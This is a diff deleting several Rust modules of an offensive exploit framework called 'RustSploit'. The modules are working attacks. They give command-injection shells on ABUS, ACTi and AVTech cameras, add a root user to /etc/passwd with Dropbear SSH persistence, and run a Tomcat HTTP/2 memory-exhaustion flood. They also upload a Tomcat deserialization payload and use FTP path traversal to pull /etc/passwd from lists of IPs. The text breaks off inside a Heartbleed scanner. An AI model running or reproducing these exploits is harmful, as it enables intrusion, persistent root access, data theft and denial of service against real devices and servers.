inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! You can now SSH in with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
);
Ok(())
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!(" [1] LFI");
println!(" [2] RCE");
println!(" [3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut fp = String::new();
io::stdin().read_line(&mut fp)?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("Enter desired password for new root user: ");
io::stdout().flush()?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd)?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,122 +0,0 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
fn normalize_target(raw: &str) -> String {
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
if raw.contains("]:") {
if let Some(idx) = raw.rfind("]:") {
let addr_raw = &raw[..idx];
let port = &raw[idx + 2..];
// strip ALL brackets from the address portion
let addr_inner = addr_raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
return format!("[{}]:{}", addr_inner, port);
}
}
// Otherwise, remove any outer brackets entirely...
let inner = raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
if inner.contains(':') {
format!("[{}]", inner)
} else {
inner
}
}
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Response:\n{}", resp.text().await?);
Ok(())
}
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
// Hash it!
let hash = generate_md5_hash(pass);
println!("[*] Generated MD5 hash: {}", hash);
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute_flow(target).await
}
-2
View File
@@ -1,2 +0,0 @@
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
-79
View File
@@ -1,79 +0,0 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use std::time::Duration;
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)
pub async fn run(target: &str) -> Result<()> {
let port = 8080; // // Default port
if check(target, port).await? {
println!("[+] Target seems vulnerable: {}:{}", target, port);
// // Simulated shell command execution
let cmd = "id"; // // You can change this to any test command
let output = execute(target, port, cmd).await?;
println!("[+] Executed '{}':\n{}", cmd, output);
// // You can extend this to implement full shell injection
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
} else {
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
}
Ok(())
}
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
// // Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
// // Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
return Ok(true);
}
}
}
Ok(false)
}
-1
View File
@@ -1 +0,0 @@
pub mod acm_5611_rce;
@@ -1,193 +0,0 @@
use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::io::{self, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
pub async fn run(target: &str) -> Result<()> {
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
println!("Developed by: @absholi7ly");
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("https://{}", target)
};
let (host, _) = match validate_url(&normalized) {
Ok(hp) => hp,
Err(e) => {
eprintln!("{}", format!("Invalid target URL: {e}").red());
return Err(e);
}
};
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
match check_http2_support(&clean_host, port).await {
Ok(true) => {
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
}
for handle in handles {
let _ = handle.await;
}
monitor_handle.abort();
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
}
Err(e) => {
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
return Err(e);
}
}
Ok(())
}
fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
io::stdout().flush().ok()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer).ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
Some(443)
} else {
trimmed.parse::<u16>().ok()
}
}
fn strip_ipv6_brackets(host: &str) -> String {
host.trim_matches(|c| c == '[' || c == ']').to_string()
}
fn validate_url(url: &str) -> Result<(String, u16)> {
let parsed = url::Url::parse(url)?;
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
let port = parsed.port_or_known_default().unwrap_or(443);
Ok((host, port))
}
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
let client = ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("https://{}:{}/", host, port);
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
match resp {
Ok(response) => {
if response.version() == reqwest::Version::HTTP_2 {
println!("{}", "HTTP/2 supported! Proceeding ...".green());
Ok(true)
} else {
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
Ok(false)
}
}
Err(e) => {
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
Ok(false)
}
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
let priorities = get_invalid_priorities();
let client = match ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(300))
.build()
{
Ok(c) => c,
Err(_) => return,
};
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
("cache-control", "no-cache".to_string()),
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
];
let mut req = client.get(&url);
for (k, v) in headers.iter() {
req = req.header(*k, v);
}
let _ = req.send().await;
}
}
async fn monitor_server(host: String, port: u16) {
loop {
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
match addr_result {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
} else {
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
}
} else {
println!("{}", "DNS lookup failed.".red());
break;
}
}
Err(_) => {
println!("{}", "Failed to resolve host for monitoring.".red());
break;
}
}
sleep(Duration::from_secs(2)).await;
}
}
fn get_invalid_priorities() -> Vec<&'static str> {
vec![
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
"u=0, q=0, null=0",
]
}
@@ -1,320 +0,0 @@
use anyhow::{bail, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
const BANNER: &str = r#"
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// // Prompt helper
fn prompt(message: &str, default: Option<&str>) -> String {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
let input = buf.trim();
if input.is_empty() {
default.unwrap_or("").to_string()
} else {
input.to_string()
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
let check_url = format!("{}/check.txt", target_url);
let res = client
.put(&check_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body("testdata".to_string())
.timeout(Duration::from_secs(10))
.send()
.await?;
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
println!("[+] Server is writable via PUT: {check_url}");
Ok(true)
} else {
println!("[-] Server not writable: HTTP {}", res.status());
Ok(false)
}
}
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
let payload_java = format!(
r#"
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{cmd}";
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream()
));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"#,
cmd = command
);
println!("[*] Generating Java payload using system javac and jar...");
std::fs::write("Exploit.java", &payload_java)?;
let compile = Command::new("javac").arg("Exploit.java").status()?;
if !compile.success() {
bail!("[-] javac failed. Make sure JDK is installed.");
}
let package = Command::new("jar")
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
.status()?;
if !package.success() {
bail!("[-] jar packaging failed.");
}
std::fs::remove_file("Exploit.java").ok();
std::fs::remove_file("Exploit.class").ok();
println!("[+] Java payload JAR created: {}", payload_file);
Ok(())
}
/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
if !Path::new(ysoserial_path).exists() {
bail!("[-] Error: {} not found", ysoserial_path);
}
println!("[*] Generating ysoserial payload: {}", command);
let output = Command::new("java")
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
.stdout(Stdio::piped())
.spawn()?
.wait_with_output()?;
std::fs::write(payload_file, output.stdout)?;
println!("[+] Payload generated: {payload_file}");
Ok(())
}
/// // Upload and verify payload
async fn upload_and_verify_payload(
client: &Client,
target_url: &str,
host: &str,
port: &str,
session_id: &str,
payload_file: &str,
) -> Result<bool> {
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
let payload = read(payload_file).await?;
let res = client
.put(&exploit_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body(payload)
.send()
.await?;
if res.status() == StatusCode::CONFLICT {
println!("[+] Upload successful (409): {}", exploit_url);
let confirm = client
.get(target_url)
.header("Cookie", "JSESSIONID=absholi7ly")
.send()
.await?;
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
println!("[+] Exploit triggered! Server returned 500.");
Ok(true)
} else {
println!("[-] Trigger failed: {}", confirm.status());
Ok(false)
}
} else {
println!("[-] Upload failed: HTTP {}", res.status());
Ok(false)
}
}
/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
let res = client
.get(&format!("{}/index.jsp", target_url))
.send()
.await?;
let body = res.text().await?;
let re = Regex::new(r"Session ID: (\w+)")?;
if let Some(caps) = re.captures(&body) {
return Ok(caps[1].to_string());
}
println!("[-] No session ID found. Using default.");
Ok("absholi7ly".to_string())
}
/// // Exploit logic
async fn execute_exploit(
target_url: &str,
port: &str,
command: &str,
ysoserial_path: &str,
gadget: &str,
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
println!("[*] Session ID: {session_id}");
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
match payload_type {
"java" => generate_java_payload(command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
println!("[+] Target vulnerable to CVE-2025-24813!");
} else {
println!("[-] Exploit failed or target not vulnerable.");
}
remove_file(payload_file).await.ok();
}
Ok(())
}
/// // Entry point
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080"));
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
let mut gadget = String::from("CommonsCollections6");
let mut payload_type = String::from("ysoserial");
let mut ssl_verify = true;
loop {
println!(
r#"
=== MENU ===
1. Set Target URL (current: {target})
2. Set Command (current: {command})
3. Set Port (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget (current: {gadget})
6. Set Payload Type (current: {payload_type})
7. Toggle SSL Verify (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
);
let selection = prompt("Select an option", None);
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target));
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command));
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port));
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget));
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
} else {
println!("[+] Payload type set: {payload_type}");
}
}
"7" => {
ssl_verify = !ssl_verify;
println!("[!] SSL verification toggled: {ssl_verify}");
}
"8" => break,
"9" => {
println!("[!] Exiting without running exploit.");
return Ok(());
}
_ => println!("[-] Invalid option. Please choose 1-9."),
}
}
println!("[*] Starting exploit with:");
println!(" Target URL : {target}");
println!(" Command : {command}");
println!(" Port : {port}");
println!(" ysoserial : {ysoserial_path}");
println!(" Gadget : {gadget}");
println!(" SSL Verify : {ssl_verify}");
execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
@@ -1,3 +0,0 @@
pub mod cve_2025_24813_apache_tomcat_rce;
pub mod catkiller_cve_2025_31650;
@@ -1,114 +0,0 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = BufReader::new(stdin).lines();
loop {
print!("cve7029-shell> ");
io::stdout().flush()?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
break;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => eprintln!("Error: {}", e),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
let payload = format!("1;{};", cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("Enter port to use [default: 80]: ");
io::stdout().flush()?;
let mut port = String::new();
io::stdin().read_line(&mut port)?;
let port = port.trim();
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}
/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port()?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
// // Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
if check_vuln(&client, &url).await? {
println!("[+] {} is vulnerable!", url);
interactive_shell(&client, &url).await?;
} else {
println!("[-] {} is not vulnerable", url);
}
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod cve_2024_7029_avtech_camera;
-1
View File
@@ -1 +0,0 @@
pub mod pachev_ftp_path_traversal_1_0;
@@ -1,190 +0,0 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
let mut clean = target.trim().to_string();
while clean.starts_with('[') && clean.ends_with(']') {
clean = clean[1..clean.len() - 1].to_string();
}
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
let addr = format_addr(&target, port);
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
let mut ftp = FtpStream::connect(
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
)
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.quit().ok();
println!("{}", format!("[+] File saved as {}", out_file).green());
Ok(format!("{} SUCCESS", target))
}
// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("results.txt")?;
writeln!(file, "{}", line)?;
Ok(())
}
// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
println!("Enter the FTP port (default 21):");
let mut port_input = String::new();
std::io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
};
println!("Do you want to use a list of IPs? (yes/no):");
let mut use_list = String::new();
std::io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
println!("Enter path to the IP list file:");
let mut path = String::new();
std::io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
return Err(anyhow!("List file does not exist: {}", path));
}
let file = File::open(path)?;
let reader = BufReader::new(file);
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
let mut futures = FuturesUnordered::new();
for line_result in reader.lines() {
match line_result {
Ok(ip) => {
let ip = ip.trim();
if ip.is_empty() {
continue;
}
let ip_owned = ip.to_string();
let port = port;
let target_clone = target.clone(); // // Clone per task
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target_clone, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
save_result(&format!("{} TIMEOUT", target_clone))?;
}
}
Ok::<(), anyhow::Error>(())
}));
}
Err(e) => {
println!("{}", format!("[!] Failed to read line: {}", e).red());
}
}
}
// // Wait for all tasks to complete
while let Some(res) = futures.next().await {
if let Err(e) = res {
println!("{}", format!("[!] Task error: {}", e).red());
}
}
} else {
// // Single target mode
let target_owned = target.to_string();
let port = port;
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target, e))?;
}
Err(_) => {
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
save_result(&format!("{} TIMEOUT", target))?;
}
}
}
Ok(())
}
-174
View File
@@ -1,174 +0,0 @@
use anyhow::{Context, Result};
use std::fs::File;
use std::io::Write;
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
let raw = target.trim();
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
